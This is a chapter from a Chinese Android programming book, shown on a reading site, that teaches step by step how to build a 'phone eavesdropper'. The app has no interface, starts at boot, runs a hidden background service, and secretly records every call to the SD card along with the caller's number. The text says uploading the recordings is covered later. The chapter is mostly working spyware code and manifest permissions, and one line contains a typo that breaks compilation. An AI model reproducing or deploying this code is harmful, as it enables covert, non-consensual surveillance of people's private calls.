Android商业软件开发全程实战
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.3 电话窃听器

小安:简直不可思议!下面该讲解电话监听器了吧。

大致:没问题!

1.3.1 电话窃听器介绍

电话窃听器的核心在于通过秘密的方式记录用户的通话语音,并对通话记录进行处理。因为要记录用户的通话语音,所以需要一个能够在后台秘密工作的服务组件Service。同时该服务要能够随着开机启动而启动。

1.3.2 电话窃听器的运行流程

电话窃听器的运行流程如下:

(1)电话窃听器伴随着系统开机的启动而启动。

(2)当电话窃听器接收到开机启动事件后,会创建一个后台秘密运行的Service。

(3)后台秘密运行的Service监听电话状态。

(4)在用户通话时进行电话录音和对录音的处理。

(5)重复(1)到(4)。

1.3.3 电话窃听器的实现

第一步:建立电话窃听器工程,如下图所示。

说明:

(1)建立的工程名字为HelloPhoneListener。

(2)选择的编译平台为Android 2.2。

(3)应用的名称为HelloPhoneListener。

(4)程序的包名为com.wangjialin.listener。

(5)因为不需要界面,所以此处没有建立Activity,即将Create Activity这个复选框前面默认的对勾去掉。

(6)程序可以运行的最低版本为8。

(7)单击最下方的“Finish”选项完成工程的创建。

第二步:建立监听电话的服务,如下图所示。

说明:

(1)服务监听器的名称为PhoneListenService。

(2)该类的建立必须继承“android.app.Service”,用于继承系统服务的默认实现,并达到控制代码编写者编写服务的目的。

(3)单击“Finish”即可完成服务的创建,其所在文件夹如下图所示。

代码如下所示。

package com.wangjialin.listener;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
public class PhoneListenService extends Service{
    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }
}

第三步:在AndroidManifest.xml中配置服务,代码如下所示。

<?xml version="1.0"encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
    package="com.wangjialin.smslistener"
    android:versionCode="1"
    android:versionName="1.0">
    <uses-sdk android:minSdkVersion="8"/>
    <application android:icon="@drawable/icon"android:label="@string/
                               app_name">
        <!--配置电话监听服务-->
        <service android:name="PhoneListenService"></service>
    </application>
</manifest>

第四步:实现电话监听的处理代码。

(1)覆写PhoneListenService的onCreate()方法获得电话管理器并监听电话的呼叫状态,代码如下所示。

@Override
public void onCreate(){
    super. onCreate();
    //获得电话管理器
    TelephonyManager telephonyManager = (TelephonyManager)
            getSystemService(Context.TELEPHONY_SERVICE);
    //设置电话监听器监听电话呼叫状态
    telephonyManager.listen(new MyPhoneStateListener(),
            PhoneStateListener.LISTEN_CALL_STATE);
}

(2)实现电话状态监听器MyPhoneStateListener,代码如下所示。

private final class MyPhoneStateListener extends PhoneStateListener{
    private String number;               //声明电话号码字符串
    private MediaRecorder recorder;      //声明电话刻录器
    private File file;                 //声明录音存储文件
    @Override
    public void onCallStateChanged(int state, String incomingNumber) {
    try{
        switch (state) {
        case TelephonyManager.CALL_STATE_RINGING:    //来电状态(响铃状态)
            number = incomingNumber;                      //记录来电号码
            break;
        case TelephonyManager.CALL_STATE_OFFHOOK: //接通电话状态
            //在 SDCard的根目录下创建录音文件(此时是空的文件)
            file = new File(Environment.getExternalStorageDirectory(),
                System.currentTim8eMillis()+number+".3gp");
            recorder = new MediaRecorder();            //实例化一个刻录器
            //设置声音来源为麦克风
            recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            //设置文件为3GP格式
            recorder.setOutputFormat(MediaRecorder.OutputFormat.
                                    THREE_GPP);
            //设置音频编码
            recorder.setAudioEncoder(MediaRecorder.AudioEncoder.
                                    AMR_NB);
            //设置录音的音频流要输出到的文件
            recorder.setOutputFile(file.getAbsolutePath());
            recorder.prepare();         //初始化硬化和系统资源
            recorder.start();         //开始录音
            break;
        case TelephonyManager.CALL_STATE_IDLE:     //电话空闲状态
            if(recorder!=null){     //如果正在录音
                recorder.stop();     //停止录音
                //释放资源,自动把内存中的音频流刷新到指定的文件中
                recorder.release();
                recorder = null;     //设置刻录器为null
            }
            break;
        }
    }catch (Exception e) {
        e.printStackTrace();
    }
}

说明:

(1)只有在电话响铃的时候才能捕获电话号码。

(2)在这里的处理是直接把录音文件放在SDCard的根目录下,在后面的章节中将会细致剖析如何上传到网络。

第五步:创建一个BroadcastReceiver实现类来接收开机广播并启动电话监听服务。

(1)工程文件具体如下图所示。

(2)BootBroadcastReceiver实现了BroadcastReceiver,代码具体如下所示。

package com.wangjialin.listener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
    开机启动完成广播接收器
    @author Android
    *
    */
public class BootBroadcastReceiver extends BroadcastReceiver{
    @Override
    public void onReceive(Context context, Intent intent) {
        //实例化一个Intent
        Intent service = new Intent(context, PhoneListenService.class);
        context.startService(service); //启动PhoneListenService服务
    }
}

(3)配置BootBroadcastReceive。

<!--接收开机启动广播-->
<receiver android:name=".BootBroadcastReceiver">
        <intent-filter>
            <action android:name ="android.intent.action.BOOT_COMPLETED"/>
        </intent-filter>
    </receiver>

第六步:声明手机窃听器使用的权限。

<!--读取电话状态的权限-->
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!--刻录音频的权限-->
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!--在SDCard中创建与删除文件的权限-->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_
                            FILESYSTEMS"/>
<!--向SDCard写入数据的权限-->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_
                            STORAGE"/>
<!--访问internet的权限-->
<uses-permission android:name="android.permission.INTERNET"/>

第七步:安装应用程序,如下图所示。

第八步:重启模拟器并通过“Emulator Control”这个ADT自带的工具直接给模拟器拨打电话,如下图所示。

说明:

(1)上图中的“Incoming number”为来电号码,可以填写任何数字,模拟器上会显示此处填写的来电号码。

(2)Eclipse的ADT会自动和当前获得焦点的模拟器关联,拨通电话。

此时模拟器的状态如下(左)图所示,接通电话,并开始录音,如下(右)图所示。

通话结束后会在当前模拟器的SDCard的根目录下发现录音文件,如下图所示。

说明:

(1)上图中的“13176309475105556.3gp”即为刚才完成录音的文件。

(2)把该文件导出到桌面即可播放刚才的录音。